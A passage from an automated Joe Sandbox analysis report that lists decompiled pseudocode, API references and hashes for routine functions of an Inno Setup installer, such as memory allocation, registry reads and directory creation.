Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Virtual$AllocFree
String ID: T$i
API String ID: 2087232378-1366452004
Opcode ID: b47dfa8464c0bebe42472cbbc825c69c8bd26aa5f95237cd5ae25c2d008f6871
Instruction ID: 1d64295b8d0e0b9a38f8b2fc07ed469c99ec606e4b1f6f299006d044831eee91
Opcode Fuzzy Hash: b47dfa8464c0bebe42472cbbc825c69c8bd26aa5f95237cd5ae25c2d008f6871
Instruction Fuzzy Hash: 1FF0E2B2B0162027EB206A6A0C82B565A949BC5B94F154077FE09FF3D9D2798C0142A9

Uniqueness

Uniqueness Score: -1.00%

Function 00401348 Relevance: 4.5, APIs: 1, Strings: 2, Instructions: 34
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401348() {
				intOrPtr* _t4;
				void* _t5;
				void _t6;
				intOrPtr* _t9;
				void* _t12;
				void* _t14;

				if( *0x48d43c != 0) {
					L5:
					_t4 =  *0x48d43c;
					 *0x48d43c =  *_t4;
					return _t4;
				} else {
					_t5 = LocalAlloc(0, 0x644); // executed
					_t12 = _t5;
					if(_t12 != 0) {
						_t6 =  *0x48d438; // 0x691e20
						 *_t12 = _t6;
						 *0x48d438 = _t12;
						_t14 = 0;
						do {
							_t2 = (_t14 + _t14) * 8; // 0x4
							_t9 = _t12 + _t2 + 4;
							 *_t9 =  *0x48d43c;
							 *0x48d43c = _t9;
							_t14 = _t14 + 1;
						} while (_t14 != 0x64);
						goto L5;
					} else {
						return 0;
					}
				}
			}

0x00401352
0x0040138e
0x0040138e
0x00401392
0x00401396
0x00401354
0x0040135b
0x00401360
0x00401364
0x0040136b
0x00401370
0x00401372
0x00401378
0x0040137a
0x0040137e
0x0040137e
0x00401384
0x00401386
0x00401388
0x00401389
0x00000000
0x00401366
0x0040136a
0x0040136a
0x00401364

APIs

LocalAlloc.KERNEL32(00000000,00000644,?,D$i,004013AB,?,?,0040144B,?,?,?,00000000,00004003,0040198B), ref: 0040135B

Strings

#i, xrefs: 0040134A
D$i, xrefs: 00401348

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: AllocLocal
String ID: D$i$#i
API String ID: 3494564517-848079107
Opcode ID: 1d650451abf4cd94ca60064950ad9205ba10338d186e2b1af8347f667f82e992
Instruction ID: 7ff4a81dc3beee52dd7b965dabf485e3e3a5af28703a101092fc3e7724c283ff
Opcode Fuzzy Hash: 1d650451abf4cd94ca60064950ad9205ba10338d186e2b1af8347f667f82e992
Instruction Fuzzy Hash: 9EF08C71B022018FE728DF2DD880B6AB7E1EB99725F20847EE984D77A0D3359C418B54

Uniqueness

Uniqueness Score: -1.00%

Function 00477240 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00477240(void* __eflags, void* __fp0) {
				char _v8;
				char _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t6;
				void* _t10;
				intOrPtr _t11;
				intOrPtr _t17;
				void* _t20;
				intOrPtr _t22;
				intOrPtr _t30;
				void* _t31;
				void* _t33;
				intOrPtr _t36;

				_t40 = __fp0;
				_push(_t20);
				_push(_t33);
				_push(_t31);
				_t22 =  *0x48d628; // 0x2162410
				_t6 = E00461280(_t20, _t22, 1, _t31, _t33, __fp0); // executed
				 *0x4adf64 = _t6;
				_t38 =  *0x4ae290;
				if( *0x4ae290 != 0) {
					_push( *[fs:eax]);
					 *[fs:eax] = _t36;
					_v12 = 0;
					_v8 = 0xb;
					_t17 =  *0x4ae290; // 0x2188110
					E00487A5C(_t17,  &_v12, "InitializeWizard", _t38, __fp0, 0, 0);
					_pop(_t30);
					_t22 = 0x4772a0;
					 *[fs:eax] = _t30;
				}
				E00464134( *0x4adf64, _t22, 1, _t38, _t40);
				if( *0x4ae245 != 0) {
					_t10 = E00465C08( *0x4adf64, _t20, _t22, _t31, _t33); // executed
				} else {
					_t11 =  *0x48d628; // 0x2162410
					SetActiveWindow( *(_t11 + 0x20));
					_t10 = E00422ECC( *0x4adf64);
				}
				return _t10;
			}

0x00477240
0x00477246
0x00477247
0x00477248
0x00477249
0x00477256
0x0047725b
0x00477260
0x00477267
0x00477271
0x00477274
0x0047727d
0x00477280
0x0047728c
0x00477291
0x00477298
0x0047729a
0x0047729b
0x0047729b
0x004772c3
0x004772cf
0x004772f0
0x004772d1
0x004772d1
0x004772da
0x004772e4
0x004772e4
0x004772fb

APIs

SetActiveWindow.USER32(?), ref: 004772DA

Strings

InitializeWizard, xrefs: 00477287

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ActiveWindow
String ID: InitializeWizard
API String ID: 2558294473-2356795471
Opcode ID: 8f5aa8ab210abca25a3b561bd254279c72b8fe58534d7761e8805a32d80afa36
Instruction ID: b02ce51899e4cb3563328e529591e4cf6ff4720998866f6c619a7b5757ff9684
Opcode Fuzzy Hash: 8f5aa8ab210abca25a3b561bd254279c72b8fe58534d7761e8805a32d80afa36
Instruction Fuzzy Hash: 0811C23160C2449FD711EBA9EC52B9A3B98E74A324F6044BBF41983AA1E6396800C75D

Uniqueness

Uniqueness Score: -1.00%

Function 00471C98 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 39
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00471C98(void* __eax, void* __edx, void* __eflags) {
				void* _v8;
				void* __ecx;
				void* _t7;
				long _t13;
				void* _t17;
				void* _t24;

				_t24 = _t17;
				_t7 = E0042DCB4(__eax, "Software\\Microsoft\\Windows\\CurrentVersion", 0x80000002,  &_v8, 1, 0); // executed
				if(_t7 != 0) {
					return E00403548(_t24);
				}
				if(E0042DBE4() == 0) {
					E00403548(_t24);
				}
				_t13 = RegCloseKey(_v8); // executed
				return _t13;
			}

0x00471c9f
0x00471cb9
0x00471cc0
0x00000000
0x00471ce6
0x00471cd0
0x00471cd4
0x00471cd4
0x00471cdd
0x00000000

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegCloseKey.ADVAPI32(?,?,00000001,00000000,?,?,?,?,?,00471ECE,00000000,00472008), ref: 00471CDD

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00471CAD

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790
String ID: Software\Microsoft\Windows\CurrentVersion
API String ID: 3513276378-1019749484
Opcode ID: 58e33d0b3820e3d3276818e37a665b85ca4aef660687782bc27ab43273ace938
Instruction ID: 49f62564b5c020d95f3bf380884e2fac3a6e22930ca8c995e06027c69e75b900
Opcode Fuzzy Hash: 58e33d0b3820e3d3276818e37a665b85ca4aef660687782bc27ab43273ace938
Instruction Fuzzy Hash: 70F027327441247BDA04A1EF6C42BEEA29CDF84718F20403BF509DB362D9BADE01936C

Uniqueness

Uniqueness Score: -1.00%

Function 004679D0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004679D0(void* __eax, void* __ecx, void* __edx, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t10;
				void* _t21;

				_t21 = __eax;
				_push(E004036BC(__ecx) + 1);
				_t10 = E00403880(__ecx);
				_push(_t10);
				_push(1);
				_push(0);
				_push(__edx);
				_push(_t21); // executed
				L00405934(); // executed
				if(_t10 != 0) {
					return E004678B4(0, __ecx,  *((intOrPtr*)(_a4 - 8)),  *((intOrPtr*)(_a4 - 4)), __edx, _t21, 0, _t10);
				}
				return _t10;
			}

0x004679da
0x004679e4
0x004679e7
0x004679ec
0x004679ed
0x004679ef
0x004679f1
0x004679f2
0x004679f3
0x004679fa
0x00000000
0x00467a0b
0x00467a14

APIs

6C8D68C0.ADVAPI32(?,Inno Setup: Setup Version,00000000,00000001,00000000,00000001,?,00000001,004AE064,?,00467B63,?,00000000,00467F5F,?,_is1), ref: 004679F3

Strings

Inno Setup: Setup Version, xrefs: 004679F1

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID:
String ID: Inno Setup: Setup Version
API String ID: 0-4166306022
Opcode ID: 9fd867d5d56b7ee436ef9fe1d316d7577dea44a1b20b127f55f56a45966ff6d9
Instruction ID: 7b6352c98c09a79ccde8b08551028820b2906c7e57d218ecf09e1c460de49617
Opcode Fuzzy Hash: 9fd867d5d56b7ee436ef9fe1d316d7577dea44a1b20b127f55f56a45966ff6d9
Instruction Fuzzy Hash: F3E065713012047BD710AA6A9C89F5BB6DCDF887A4F00447AB90CDB352D575DD408568

Uniqueness

Uniqueness Score: -1.00%

Function 0042DCB4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 18
COMMON

Download Yara Rule

C-Code - Quality: 51%

			E0042DCB4(void* __eax, void* __ecx, void* __edx, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _t6;
				void* _t7;
				void* _t8;
				signed int _t9;

				_t8 = __edx;
				_t7 = __ecx;
				_t9 = _a8;
				if(__eax == 2) {
					_t9 = _t9 | 0x00000100;
				}
				_push(_a4);
				_push(_t9);
				_t6 = _a12;
				_push(_t6);
				_push(_t7);
				_push(_t8); // executed
				L00405914(); // executed
				return _t6;
			}

0x0042dcb4
0x0042dcb4
0x0042dcb8
0x0042dcbd
0x0042dcbf
0x0042dcbf
0x0042dcc8
0x0042dcc9
0x0042dcca
0x0042dccd
0x0042dcce
0x0042dccf
0x0042dcd0
0x0042dcd7

APIs

6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

Strings

System\CurrentControlSet\Control\Windows, xrefs: 0042DCCE

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D6790
String ID: System\CurrentControlSet\Control\Windows
API String ID: 3077103850-1109719901
Opcode ID: aa21068e09dffa96e85b39163423caf07922cc031927357f26d27300ba816339
Instruction ID: 252469d4665b97d1cf586433f62e7af82fe31e26ad1ddc23bb3c89940e80562f
Opcode Fuzzy Hash: aa21068e09dffa96e85b39163423caf07922cc031927357f26d27300ba816339
Instruction Fuzzy Hash: 39D0C7729101287BDB109A89DC41DF7775DDB59360F444016FD0497200C1B4ED5187F4

Uniqueness

Uniqueness Score: -1.00%

Function 0042DAB0 Relevance: 3.1, APIs: 2, Instructions: 104
registryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0042DAB0(void* __eax, void* __ebx, intOrPtr __ecx, char* __edx, void* __edi, void* __esi, intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				int _v12;
				int _v16;
				char _v20;
				long _t48;
				long _t59;
				char _t67;
				intOrPtr _t82;
				int _t87;
				char* _t89;
				void* _t91;
				void* _t94;

				_v20 = 0;
				_v8 = __ecx;
				_t89 = __edx;
				_t91 = __eax;
				_push(_t94);
				_push(0x42dbd1);
				_push( *[fs:eax]);
				 *[fs:eax] = _t94 + 0xfffffff0;
				while(1) {
					_v16 = 0;
					_t48 = RegQueryValueExA(_t91, _t89, 0,  &_v12, 0,  &_v16); // executed
					if(_t48 != 0 || _v12 != _a8 && _v12 != _a4) {
						break;
					}
					if(_v16 != 0) {
						E00403628( &_v20, _v16, 0, __eflags);
						_t59 = RegQueryValueExA(_t91, _t89, 0,  &_v12, E0040388C( &_v20),  &_v16); // executed
						__eflags = _t59 - 0xea;
						if(__eflags == 0) {
							continue;
						}
						__eflags = _t59;
						if(_t59 != 0) {
							break;
						}
						__eflags = _v12 - _a8;
						if(_v12 == _a8) {
							while(1) {
								L12:
								__eflags = _v16;
								if(_v16 == 0) {
									break;
								}
								_t67 = _v20;
								_t87 = _v16;
								__eflags =  *((char*)(_t67 + _t87 - 1));
								if( *((char*)(_t67 + _t87 - 1)) == 0) {
									_t21 =  &_v16;
									 *_t21 = _v16 - 1;
									__eflags =  *_t21;
									continue;
								}
								break;
							}
							__eflags = _v12 - 7;
							if(_v12 == 7) {
								__eflags = _v16;
								if(_v16 != 0) {
									_t30 =  &_v16;
									 *_t30 = _v16 + 1;
									__eflags =  *_t30;
								}
							}
							E004039EC( &_v20, _v16);
							__eflags = _v12 - 7;
							if(_v12 == 7) {
								__eflags = _v16;
								if(_v16 != 0) {
									(E0040388C( &_v20))[_v16 - 1] = 0;
								}
							}
							E00403598(_v8, 0, _v20, _t89, _t91);
							break;
						}
						__eflags = _v12 - _a4;
						if(_v12 != _a4) {
							break;
						}
						goto L12;
					} else {
						E00403548(_v8);
						break;
					}
				}
				_pop(_t82);
				 *[fs:eax] = _t82;
				_push(E0042DBD8);
				return E00403548( &_v20);
			}

0x0042dabb
0x0042dabe
0x0042dac1
0x0042dac3
0x0042dac7
0x0042dac8
0x0042dacd
0x0042dad0
0x0042dad5
0x0042dad7
0x0042dae8
0x0042daef
0x00000000
0x00000000
0x0042db0d
0x0042db26
0x0042db40
0x0042db45
0x0042db4a
0x00000000
0x00000000
0x0042db4c
0x0042db4e
0x00000000
0x00000000
0x0042db53
0x0042db56
0x0042db65
0x0042db65
0x0042db65
0x0042db69
0x00000000
0x00000000
0x0042db6b
0x0042db6e
0x0042db71
0x0042db76
0x0042db62
0x0042db62
0x0042db62
0x00000000
0x0042db62
0x00000000
0x0042db76
0x0042db78
0x0042db7c
0x0042db7e
0x0042db82
0x0042db84
0x0042db84
0x0042db84
0x0042db84
0x0042db82
0x0042db8d
0x0042db92
0x0042db96
0x0042db98
0x0042db9c
0x0042dba9
0x0042dba9
0x0042db9c
0x0042dbb4
0x00000000
0x0042dbb9
0x0042db5b
0x0042db5e
0x00000000
0x00000000
0x00000000
0x0042db0f
0x0042db12
0x00000000
0x0042db17
0x0042db0d
0x0042dbbd
0x0042dbc0
0x0042dbc3
0x0042dbd0

APIs

RegQueryValueExA.ADVAPI32(?,0042E470,00000000,00000000,00000000,?,00000000,0042DBD1,?,?,00000000,00000000), ref: 0042DAE8
RegQueryValueExA.ADVAPI32(?,0042E470,00000000,00000000,00000000,00000000,?,0042E470,00000000,00000000,00000000,?,00000000,0042DBD1), ref: 0042DB40

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 8e3b2a71cf41163fc7a0db4ba73d3df46e8db2e3b4fe39bd15de565b3d8b0fe0
Instruction ID: 0e7576e286cf79993513e01da67dc7455a51607c0b1d4e8bc5d861b2dca46959
Opcode Fuzzy Hash: 8e3b2a71cf41163fc7a0db4ba73d3df46e8db2e3b4fe39bd15de565b3d8b0fe0
Instruction Fuzzy Hash: 22410D70E00118BFDB21DF95D891BEFBBB8EF05314F9585A6E810A7290D738BA44CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0042DD58 Relevance: 3.1, APIs: 2, Instructions: 104
registryCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E0042DD58(char __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr _v12;
				intOrPtr _v16;
				void* _v20;
				char _v24;
				int _v28;
				void* _t35;
				long _t44;
				long _t51;
				void* _t53;
				int _t61;
				intOrPtr _t75;
				intOrPtr _t79;
				void* _t85;
				void* _t86;
				intOrPtr _t87;

				_t83 = __esi;
				_t82 = __edi;
				_t85 = _t86;
				_t87 = _t86 + 0xffffffe8;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_v24 = 0;
				_v16 = __ecx;
				_v12 = __edx;
				_v5 = __eax;
				_push(_t85);
				_push(0x42de83);
				_push( *[fs:eax]);
				 *[fs:eax] = _t87;
				if( *0x48c0e0 != 2) {
					L10:
					E0042DCDC(_v5, _v16, _v12);
					__eflags = 0;
					_pop(_t75);
					 *[fs:eax] = _t75;
					_push(E0042DE8A);
					return E00403548( &_v24);
				} else {
					_t35 = E0042DCB4(_v5, _v16, _v12,  &_v20, 8, 0); // executed
					_t89 = _t35;
					if(_t35 != 0) {
						goto L10;
					} else {
						_push(_t85);
						_push(0x42de56);
						_push( *[fs:edx]);
						 *[fs:edx] = _t87;
						E00403628( &_v24, 0x100, 0, _t89);
						_t61 = 0;
						while(1) {
							L3:
							_v28 = E004036BC(_v24);
							_t44 = RegEnumKeyExA(_v20, _t61, E0040388C( &_v24),  &_v28, 0, 0, 0, 0);
							if(_t44 != 0xea) {
								break;
							}
							_t53 = E004036BC(_v24);
							_t92 = _t53 - 0x10000;
							if(_t53 < 0x10000) {
								E00403628( &_v24, E004036BC(_v24) + _t55, 0, _t92);
								continue;
							}
							L9:
							__eflags = 0;
							_pop(_t79);
							 *[fs:eax] = _t79;
							_push(E0042DE5D);
							return RegCloseKey(_v20);
							goto L11;
						}
						__eflags = _t44;
						if(_t44 == 0) {
							_t51 = E0042DD58(_v5, _t61, E00403880(_v24), _v20, _t82, _t83);
							__eflags = _t51;
							if(_t51 != 0) {
								_t61 = _t61 + 1;
							}
							goto L3;
						}
						goto L9;
					}
				}
				L11:
			}

0x0042dd58
0x0042dd58
0x0042dd59
0x0042dd5b
0x0042dd5e
0x0042dd5f
0x0042dd60
0x0042dd63
0x0042dd66
0x0042dd69
0x0042dd6c
0x0042dd71
0x0042dd72
0x0042dd77
0x0042dd7a
0x0042dd84
0x0042de5d
0x0042de66
0x0042de6d
0x0042de6f
0x0042de72
0x0042de75
0x0042de82
0x0042dd8a
0x0042dd9b
0x0042dda0
0x0042dda2
0x00000000
0x0042dda8
0x0042ddaa
0x0042ddab
0x0042ddb0
0x0042ddb3
0x0042ddc0
0x0042ddc5
0x0042ddc7
0x0042ddc7
0x0042ddcf
0x0042ddec
0x0042ddf6
0x00000000
0x00000000
0x0042ddfb
0x0042de00
0x0042de05
0x0042de18
0x00000000
0x0042de18
0x0042de3f
0x0042de3f
0x0042de41
0x0042de44
0x0042de47
0x0042de55
0x00000000
0x0042de55
0x0042de1f
0x0042de21
0x0042de33
0x0042de38
0x0042de3a
0x0042de3c
0x0042de3c
0x00000000
0x0042de3a
0x00000000
0x0042de21
0x0042dda2
0x00000000

APIs

Part of subcall function 0042DCB4: 6C8D6790.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,004783BF,?,00000001,?,?,004783BF,?,00000001,00000000), ref: 0042DCD0

RegEnumKeyExA.ADVAPI32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,0042DE56,?,?,00000008,00000000,00000000,0042DE83), ref: 0042DDEC
RegCloseKey.ADVAPI32(?,0042DE5D,?,00000000,00000000,00000000,00000000,00000000,0042DE56,?,?,00000008,00000000,00000000,0042DE83), ref: 0042DE50

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: CloseD6790Enum
String ID:
API String ID: 3529925450-0
Opcode ID: 8afd54fa5afda933115ccd3b0db7f41e9d14088c8f5b5d7f941e79e5460edd25
Instruction ID: 5e4b05f4a3e0476540ac301d5f1dac6772fd0ae46009fb461a6a6db6e0667857
Opcode Fuzzy Hash: 8afd54fa5afda933115ccd3b0db7f41e9d14088c8f5b5d7f941e79e5460edd25
Instruction Fuzzy Hash: E2319370F04618AEDB10EFA1DC52BBFB7B9EB48744F91447AE500F7281D6389A01CA29

Uniqueness

Uniqueness Score: -1.00%

Function 00401714 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00401714(void* __eax, void** __ecx, void* __edx) {
				int _t7;
				void* _t9;
				signed int _t14;
				intOrPtr* _t19;
				signed int _t22;
				void** _t23;

				_push(__ecx);
				 *_t23 = __eax + 0x00000fff & 0xfffff000;
				_t22 = __eax + __edx & 0xfffff000;
				 *__ecx =  *_t23;
				_t7 = _t22 -  *_t23;
				__ecx[1] = _t7;
				_t19 =  *0x48d440; // 0x692454
				while(_t19 != 0x48d440) {
					_t9 =  *(_t19 + 8);
					_t14 =  *((intOrPtr*)(_t19 + 0xc)) + _t9;
					if(_t9 <  *_t23) {
						_t9 =  *_t23;
					}
					if(_t22 < _t14) {
						_t14 = _t22;
					}
					if(_t14 > _t9) {
						_t7 = VirtualFree(_t9, _t14 - _t9, 0x4000); // executed
						if(_t7 == 0) {
							 *0x48d41c = 2;
						}
					}
					_t19 =  *_t19;
				}
				return _t7;
			}

0x00401718
0x00401729
0x00401730
0x00401739
0x0040173d
0x00401740
0x00401743
0x00401783
0x0040174b
0x00401751
0x00401756
0x00401758
0x00401758
0x0040175d
0x0040175f
0x0040175f
0x00401763
0x0040176e
0x00401775
0x00401777
0x00401777
0x00401775
0x00401781
0x00401781
0x00401790

APIs

VirtualFree.KERNEL32(?,?,00004000,?,?,?,00000000,00004003,0040197B), ref: 0040176E

Strings

T$i, xrefs: 00401743, 00401783

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: FreeVirtual
String ID: T$i
API String ID: 1263568516-1366452004
Opcode ID: b87ec69a82047565488b436492ac0a5e2e4a3ca1825bad6867eb9f30230477ea
Instruction ID: 513dc5185c5ea873f64aca2166fc8996875178c568a1f6713369453d53051677
Opcode Fuzzy Hash: b87ec69a82047565488b436492ac0a5e2e4a3ca1825bad6867eb9f30230477ea
Instruction Fuzzy Hash: 9401F776A452144FC310AE28DCC0E2A77A5DB84724F15453DEE84A7391D33A6C0687A8

Uniqueness

Uniqueness Score: -1.00%

Function 0045179C Relevance: 3.0, APIs: 2, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0045179C(void* __eax, void* __ecx, void* __edx, void* __eflags) {
				intOrPtr _v8;
				char _v16;
				long _v20;
				intOrPtr _t14;
				intOrPtr _t29;
				void* _t37;
				void* _t39;
				intOrPtr _t40;

				_t37 = _t39;
				_t40 = _t39 + 0xfffffff0;
				if(E004512D8(__eax,  &_v16) != 0) {
					_push(_t37);
					_push(0x451804);
					_push( *[fs:eax]);
					 *[fs:eax] = _t40;
					_push(E00403880(__ecx));
					_t14 = E00403880(__edx);
					L00405B74(); // executed
					_v8 = _t14;
					_v20 = GetLastError();
					_t29 = _t14;
					 *[fs:eax] = _t29;
					_push(0x45180b);
					return E00451314( &_v16);
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x0045179d
0x0045179f
0x004517b7
0x004517c2
0x004517c3
0x004517c8
0x004517cb
0x004517d5
0x004517d8
0x004517de
0x004517e3
0x004517eb
0x004517f0
0x004517f3
0x004517f6
0x00451803
0x004517b9
0x004517bb
0x0045181d
0x0045181d

APIs

6C8D6060.KERNEL32(00000000,00000000,00000000,00451804), ref: 004517DE
GetLastError.KERNEL32(00000000,00000000,00000000,00451804), ref: 004517E6

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D6060ErrorLast
String ID:
API String ID: 581812409-0
Opcode ID: 2e3c7a9707636af3bcdad6923f18bb4592bde806625197659ce5a4d4f60f9180
Instruction ID: 1f8f1ae2a19b5dd98b784e482048326263c3535bd956013154575bb21478434f
Opcode Fuzzy Hash: 2e3c7a9707636af3bcdad6923f18bb4592bde806625197659ce5a4d4f60f9180
Instruction Fuzzy Hash: 7F01F972B04608ABCB10EF7A9C4159EB7ECDB4975675046BBFC04E3752EB385E0485AC

Uniqueness

Uniqueness Score: -1.00%

Function 00451324 Relevance: 3.0, APIs: 2, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00451324(void* __eax, void* __edx, void* __eflags) {
				int _v8;
				char _v16;
				long _v20;
				int _t13;
				intOrPtr _t27;
				void* _t32;
				void* _t34;
				intOrPtr _t35;

				_t32 = _t34;
				_t35 = _t34 + 0xfffffff0;
				if(E004512D8(__eax,  &_v16) != 0) {
					_push(_t32);
					_push(0x451383);
					_push( *[fs:eax]);
					 *[fs:eax] = _t35;
					_t13 = CreateDirectoryA(E00403880(__edx), 0); // executed
					_v8 = _t13;
					_v20 = GetLastError();
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(0x45138a);
					return E00451314( &_v16);
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x00451325
0x00451327
0x0045133c
0x00451347
0x00451348
0x0045134d
0x00451350
0x0045135d
0x00451362
0x0045136a
0x0045136f
0x00451372
0x00451375
0x00451382
0x0045133e
0x00451340
0x0045139b
0x0045139b

APIs

